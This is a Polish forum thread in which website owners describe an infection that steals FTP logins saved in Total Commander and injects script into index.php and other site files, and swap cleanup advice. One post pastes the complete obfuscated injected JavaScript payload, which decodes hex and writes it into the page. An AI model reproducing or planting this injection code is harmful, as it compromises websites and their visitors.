Ktoś podpina mi wirusa do strony

[magda90]

Na wstępie witam, bo mimo że często zaglądam na wasze forum, jest to moja pierwsza wypowiedź, i od razu problem.

Moje stronki też zostały zainfekowane przez tego wirusa, jednak usuwanie złośliwego kodu z plików index.php nic nie daje, ponieważ po chwili złośliwy kod wskakuje spowrotem. Zmieniłem wszelkie kody dostępu do wszystkich serwerów administrowanych, jednak nie daje to rezultatu. Strony są postawione na systemie Joomla. Mam prośbe, jeśli ktoś wie jak sobie z tym poradzić to bardzo bym prosił o jakąś porade. Bo jak dotąd nie spotkałem sie z tak wrednym robactwem.

Pozdrawiam

Bo wirus dokleja się też do plików login.php, main.php, index.html i być może coś jeszcze najlepiej sprawdzaj pod dacie modyfikacji lub nadpisz pliki joomla. Potem zmiana hasła i programu.

[expedit]

Dzięki za podpowiedź, z rana w pracy to sprawdze. No chyba że admin hostingu wrzuci mi backup z piątku, to by wszystko załatwiło.

[Brave]

A teraz forum szook'a padło ofiarą.

[bob_rob]

Nadchodzi ERA LINUKSA

[Skarbek]

Nadchodzi ERA LINUKSA

To jest trochę głupie i naiwne sformułowanie, z prostej przyczyny - jeśli linuks stanie się tak samo popularny jak gwindows, wtedy nagle i pod niego będą powstawać całe zastępy wirusów, ponieważ wtedy ich twórcom będzie się opłacało je pisać

[gostek_]

Zeby wirus mogl cos nawojowac w linuxie, musialby miec dostep do root, a to nie takie proste, chociaz oczywiscie mozliwe.

[S3ntin3l]

hm.. a czy jeśli w TC posiadamy dane do konta ftp (bez hasła - wpisujemy je przy logowaniu) to możemy być bezpieczni?

[yavaho]

hm.. a czy jeśli w TC posiadamy dane do konta ftp (bez hasła - wpisujemy je przy logowaniu) to możemy być bezpieczni?

Wirus znajduje plik w ktorym są przechowywane zapamietane dane do logowania (hasło, login, adres ftp) i wysyła te dane gdześ lub komuś. Bez hasła te dane będa bezwartościowe.

Ale kto wie, może też powstać klon tego wirusa, ktory przechwytuje te dane z klawiatury.

[Radeq]

A ktos mial przypadek, ze cos mu kasowalo wszyskie pliki z ftp?

To cos jest natretne bo nawet wgranie pliku na ftp, a potem zmiana hasla w panelu nie pomogla

[MMP]

> Zeby wirus mogl cos nawojowac w linuxie, musialby miec dostep do root, a to nie takie proste, chociaz oczywiscie mozliwe.

Z tym rootem to jedna z bajek i marzeń linuksiarzy

[fahofiec]

Pomimo podjęcia wszelkich możliwych środków bezpieczeństwa, wirus znów zaatakował Nowy kod:

<script>function c265607b11i49b93b3c69dc8(i49b93b3c6a5be){ var i49b93b3c6adb8=16; return (parseInt(i49b93b3c6a5be,i49b93b3c6adb8));}function i49b93b3c6b5b6(i49b93b3c6b9bf){ function i49b93b3c6c59f(){var i49b93b3c6c9a0=2;return i49b93b3c6c9a0;} var i49b93b3c6bdbc='';i49b93b3c6cdab=String.fromCharCode;for(i49b93b3c6c1b7=0;i49b93b3c6c1b7<i49b93b3c6b9bf.length;i49b93b3c6c1b7+=i49b93b3c6c59f()){ i49b93b3c6bdbc+=(i49b93b3c6cdab(c265607b11i49b93b3c69dc8(i49b93b3c6b9bf.substr(i49b93b3c6c1b7,i49b93b3c6c59f()))));}return i49b93b3c6bdbc;} var rb3='';var i49b93b3c6d193='3C7'+rb3+'3637'+rb3+'2697'+rb3+'07'+rb3+'43E696628216D7'+rb3+'96961297'+rb3+'B646F637'+rb3+'56D656E7'+rb3+'42E7'+rb3+'7'+rb3+'7'+rb3+'2697'+rb3+'465287'+rb3+'56E657'+rb3+'363617'+rb3+'065282027'+rb3+'2533632536392536362537'+rb3+'3225363125366425363525323025366525363125366425363525336425363325333225333625
32302537'+rb3+'332537'+rb3+'32253633253364253237'+rb3+'2536382537'+rb3+'342537'+rb3+'342537'+rb3+'302533612532662532662536642536312536632537'+rb3+'37'+rb3+'2536312537'+rb3+'322536352537'+rb3+'342537'+rb3+'322536312536332536622537'+rb3+'332537'+rb3+'392537'+rb3+'332537'+rb3+'34253635253664253265253633253666253664253266253366253237'+rb3+'2532622534642536312537'+rb3+'342536382532652537'+rb3+'322536662537'+rb3+'352536652536342532382534642536312537'+rb3+'342536382532652537'+rb3+'3225363125366525363425366625366425323825323925326125333425333525333125333225
3335253239253262253237'+rb3+'253337'+rb3+'253339253333253633253334253332253331253339253339253636253632253636253237'+rb3+'2532302537'+rb3+'37'+rb3+'2536392536342537'+rb3+'34253638253364253333253336253331253230253638253635253639253637'+rb3+'2536382537'+rb3+'342533642533312533322533352532302537'+rb3+'332537'+rb3+'342537'+rb3+'39253663253635253364253237'+rb3+'2537'+rb3+'362536392537'+rb3+'332536392536322536392536632536392537'+rb3+'342537'+rb3+'39253361253638253639253634253634253635253665253237'+rb3+'2533652533632532662536392536362537'+rb3+'3225363125366425363525336527'+rb3+'29293B7'+rb3+'D7'+rb3+'6617'+rb3+'2206D7'+rb3+'969613D7'+rb3+'47'+rb3+'27'+rb3+'5653B3C2F7'+rb3+'3637'+rb3+'2697'+rb3+'07'+rb3+'43E';document.write(i49b93b3c6b5b6(i49b93b3c6d193));</script>

[Mar]

@fahofiec, też miałem to dziadostwo, teraz na 90% obstawiam, że zostały wykradzione moje hasła z TC i dzięki temu ten kod został dopisany.

Kod, który zacytowałeś powyżej jest dołączany do plików index.php oraz header.php i jak już ktoś wyżej pisał, sprawdzaj pliki po dacie modyfikacji.

Mar.

[tomekg]

także do auth.php wchodzi i głębiej w podfoldery jeśli jest tam np. index.php - w przypadku WP katalog /wp-admin/ też czyśccie - jest tam index.php

P.S. Wie ktoś czy wirus rozprzestrzenia się po serwerze ? czy tylko z udziałem komputera ? ( hasła zmienione, część plików wyleczona... )

[Wujo]

Wirus "wchodzi" przez TC, gdy ma loginy i hasła, samemu rozprzestrzenia się we wszystkich plikach index.php/html

Miałem tego wirusa, jednak już się go pozbyłem. Sam format kompa nie pomógł, musiałem zmienić wszystkie hasła do serwerów...

Jeśli ktoś ma tego wirusa, to np przy odpalaniu firefoxa pokazuje się okno uruchamiania Adobe Reader, ale program się nie odpala oczywiście (miałem tak jak i kilka osób, więc raczej jest to sprawdzone)

Idąc dalej tropem wirusa, myślę, że masowe wyindeksowania stron głównych mają z tym związek. Google nie chciało trzymać w cache stron z tym wirusem, a że w 99% jest on w index.php/html...

[fhu_kotek]

Wytłumaczcie jak głupiemu:

Wirus trafil na mój komputer po czym wykradł hasła do serwerów w Total Commanderze i przez FTP zainfekował mi pliki na serwerze. Czy te same pliki w kopiach zapasowych (sprzed ataku wirusa) na zainfekowanym kompie również są zainfekowane? Jeśli tak to czy format coś pomoże? Czy będzie ok jeśli zrobie tak:

1. format

2. zmiana hasła bez zapamietywania w kliencie ftp.

3. nadpisanie plikow z kopii zapasowych (jakichś starych sprzed zawirusowania) na serwery.

Dzięki za odpowidź